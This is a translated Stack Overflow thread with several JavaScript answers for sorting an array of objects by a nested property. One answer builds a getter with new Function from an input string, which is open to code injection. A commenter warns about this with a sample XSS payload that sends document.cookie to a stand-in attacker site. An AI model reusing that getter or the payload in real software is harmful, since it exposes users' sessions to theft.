JavaScript中对对象数组进行排序

5
我想按照“用户”对象内的“名称”对下面的数组进行排序。
 var myArr = [
 {"id":1,"user":{"name":"allen","id":101}},
 {"id":2,"user":{"name":"martin","id":102}}
]

如何做到这一点?
我有一种方法可以对对象数组进行排序,但无法用于对象数组中的对象。
这是该方法:
function dynamicSort(property) {
    var sortOrder = 1;
    if (property[0] === "-") {
        sortOrder = -1;
        property = property.substr(1);
    }
    return function (a, b) {
            var result = (a[property] < b[property]) ? -1 : (a[property] > b[property]) ? 1 : 0;
        return result * sortOrder;
    }
}

然后我可以使用这个进行排序:
myArr.sort(dynamicSort("id"));

@Skeevs,他需要对嵌套对象进行排序,而不是单个对象。 - yash
6个回答

5
我会将属性创建为getter函数(对于复杂的例子,您可以检查propFn是否是一个函数,对于更复杂的情况,请使用以下内容。有关检查propFn是否为函数,请参见此答案):

var myArr = [
  {"id":1,"user":{"name":"allen","id":101}},
  {"id":2,"user":{"name":"martin","id":102}}
]

function dynamicSort(propFn, sortOrder = 1) {
    return function (a, b) {
        var result = (propFn(a) < propFn(b)) ? -1 : (propFn(a) > propFn(b)) ? 1 : 0;
        return result * sortOrder;
    }
}

console.log(myArr.sort(dynamicSort((obj) => obj.user.name)));
console.log(myArr.sort(dynamicSort((obj) => obj.user.name, -1)));

作为替代方案,您可以参考以下内容:将点符号转换成对象引用的JavaScript字符串

这会让您了解如何将点符号转换为嵌套对象,但我建议您先阅读顶部的免责声明。

为了保持向后兼容性,您可以使用以下类似的方法:

var myArr = [
  {"id":1,"user":{"name":"allen","id":101}},
  {"id":2,"user":{"name":"martin","id":102}}
]

function dynamicSort(propFn, sortOrder = 1) {
    if (typeof propFn === "string") {
        let prop = propFn;
        if (prop[0] === "-") {
            sortOrder = -1;
            prop = prop.substr(1);
        }

        propFn = (obj) => obj[prop];
    }
    return function (a, b) {
        var result = (propFn(a) < propFn(b)) ? -1 : (propFn(a) > propFn(b)) ? 1 : 0;
        return result * sortOrder;
    }
}

console.log(myArr.sort(dynamicSort((obj) => obj.user.name)));
console.log(myArr.sort(dynamicSort((obj) => obj.user.name, -1)));
console.log(myArr.sort(dynamicSort("id")));
console.log(myArr.sort(dynamicSort("-id")));


非常棒,我只是路过,但我一定会使用它的,谢谢! - Logar

2

编辑:

如果由于关键名称中包含句点而出现问题,这种方法可能更适合作为解决方案。路径只需以方括号表示法访问器或点开头即可:

function dynamicSort(property, order) {
  order||(order=1);
  const getter = new Function("obj", "return obj" + property + ";");
  return function(a, b) {
    var result = (getter(a) < getter(b)) ? -1 : (getter(a) > getter(b)) ? 1 : 0;
    return result * order;
  }
}

var myArr = [{
    "id": 1,
    "user": {
      "name": "allen",
      "id": 101
    }
  },
  {
    "id": 2,
    "user": {
      "name": "martin",
      "id": 102
    }
  },
  {
    "id": 3,
    "user": {
      "name": "barry",
      "id": 103
    }
  }
]

console.log(JSON.stringify(myArr.sort(dynamicSort(".user.name"))));


使用这个答案中的Object.byString()方法,您可以重写函数以获取要排序的属性路径:

var myArr = [
 {"id":1,"user":{"name":"allen","id":101}},
 {"id":2,"user":{"name":"martin","id":102}},
 {"id":3,"user":{"name":"barry","id":103}}
]

console.log(JSON.stringify(myArr.sort(dynamicSort("user.name"))));


function dynamicSort(property) {
    var sortOrder = 1;
    if (property[0] === "-") {
        sortOrder = -1;
        property = property.substr(1);
    }
    return function (a, b) {
            var result = (byString(a, property) < byString(b, property)) ? -1 : (byString(a, property) > byString(b, property)) ? 1 : 0;
        return result * sortOrder;
    }
}

function byString(o, s) {
    s = s.replace(/\[(\w+)\]/g, '.$1'); // convert indexes to properties
    s = s.replace(/^\./, '');           // strip a leading dot
    var a = s.split('.');
    for (var i = 0, n = a.length; i < n; ++i) {
        var k = a[i];
        if (k in o) {
            o = o[k];
        } else {
            return;
        }
    }
    return o;
}

我认为如果你将顺序作为第二个参数传入,那么使用起来会更加清晰易懂。这意味着你的函数应该类似于这样:

function dynamicSort(property, order) {
  return function(a, b) {
    var result = (byString(a, property) < byString(b, property)) ? -1 : (byString(a, property) > byString(b, property)) ? 1 : 0;
    return result * order;
  }
}


不错!一开始似乎很具有挑战性,但最终找到解决方案并不那么难 :-) - Luca Kiebel
@FrankerZ 你说的xss攻击是什么意思?传递给这个方法的数组来自redux存储,而redux存储是通过api请求填充的。 - kouroshstst
如果您将一个get变量传递给dynamicSort(例如作为URL参数的myscript?sortBy=user.name),会发生什么情况呢?如果使用eval函数,可能会出现一些不好的事情。?sortBy=.a || window.location.href='http://mynastysite.com?' + document.cookie - Blue
最简单的方法是复制他的答案,并使用 console.log(JSON.stringify(myArr.sort(dynamicSort(".test || alert('test')")))); 而不是 console.log(JSON.stringify(myArr.sort(dynamicSort(".user.name")))); 来查看其效果。 - Blue
@FrankerZ 我理解你的观点,但是在一个使用静态压缩 JS 的在线应用中,这种事情仍然是不可能的,对吗? - kouroshstst
显示剩余4条评论

0

查看这个Stack Overflow答案,以获取一个基本相似问题的答案。

由于该答案中的函数与您的不同,传递要排序的数组作为参数,因此您可以将其重构为与您现有的dynamicSort函数以相同方式调用:

function dynamicSort(property) {
    var sortOrder = 1;
    if (property[0] === "-") {
        sortOrder = -1;
        property = property.substr(1);
    }
    var prop = property.split('.');
    var len = prop.length;

    return function (a, b) {
        var i = 0;
        while( i < len ) { a = a[prop[i]]; b = b[prop[i]]; i++; }
        var result = (a < b) ? -1 : (a > b) ? 1 : 0;
        return result * sortOrder;
    }
}

你可以这样调用它:myArr.sort(this.dynamicSort("user.name"))
以下是一个可行的示例:

function dynamicSort(property) {
    var sortOrder = 1;
    if (property[0] === "-") {
        sortOrder = -1;
        property = property.substr(1);
    }
 var prop = property.split('.');
    var len = prop.length;

    return function (a, b) {
  var i = 0;
        while( i < len ) { a = a[prop[i]]; b = b[prop[i]]; i++; }
        var result = (a < b) ? -1 : (a > b) ? 1 : 0;
        return result * sortOrder;
    }
}

var myArr = [
 {"id":1,"user":{"name":"allen","id":101}},
 {"id":2,"user":{"name":"martin","id":102}},
 {"id":3,"user":{"name":"beth","id":103}},
];

console.log(myArr.sort(this.dynamicSort("user.name"))); //expected output: [{id:1, user:{name:"allen",...}}, {id:3, user:{name:"beth",...}}, {id:2, user:{name:"martin",...}}]


在上面出色的答案被贡献之前,我就开始回答了,但是被打断了。现在我只想完成并贡献它,以防有人看到这个问题时可能更喜欢调用它的潜在简化语法。 - kenS

0

你可以使用 sort 方法,但首先需要获取嵌套属性,为此,你可以传递一个字符串,然后使用 reduce 方法来获取属性。

 var myArr = [{"id":2,"user":{"name":"martin","id":102}}, {"id":1,"user":{"name":"allen","id":101}}]

function dynamicSort(arr, prop) {
  function getVal(obj, prop) {
    return prop.split('.').reduce((r, e) => r[e] || {}, obj)
  }

  arr.sort((a, b) => {
    let vA = getVal(a, prop);
    let vB = getVal(b, prop);
    return vA.localeCompare(vB)
  })
}

dynamicSort(myArr, "user.name")
console.log(myArr)


-1

试试这个。在我这里运行良好

var sortedArray = myArr.sort((a, b) => {

        const
            nameA = a.user.name.toUpperCase(),
            nameB = b.user.name.toUpperCase();

        if(nameA < nameB)
            return -1;

        if(nameA > nameB)
            return 1;

        return 0;
    });

2
这并不是真正的动态,这也是OP所遇到的问题(虽然不是很清楚)。 - Luca Kiebel
我认为注释可以清楚地表明这个答案的问题所在。再次强调,原帖实际上是在寻求一种可以使用不同或动态键进行排序的解决方案。如果仍然不清楚,您可以看一下我的答案。 - Luca Kiebel

-1
myArr.sort(function(a, b) {
    return a.user.name.localeCompare(b.user.name);
});

3
这并不是真正的动态,这正是提问者所面临的问题(尽管不是很明显)。 - Luca Kiebel
感谢您提供这段代码片段,它可能会提供一些有限的、即时的帮助。通过展示为什么这是一个好的解决方案,一个适当的解释将极大地提高其长期价值,并使其对未来读者具有其他类似问题更有用。请[编辑]您的答案以添加一些解释,包括您所做出的假设。 - Blue

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接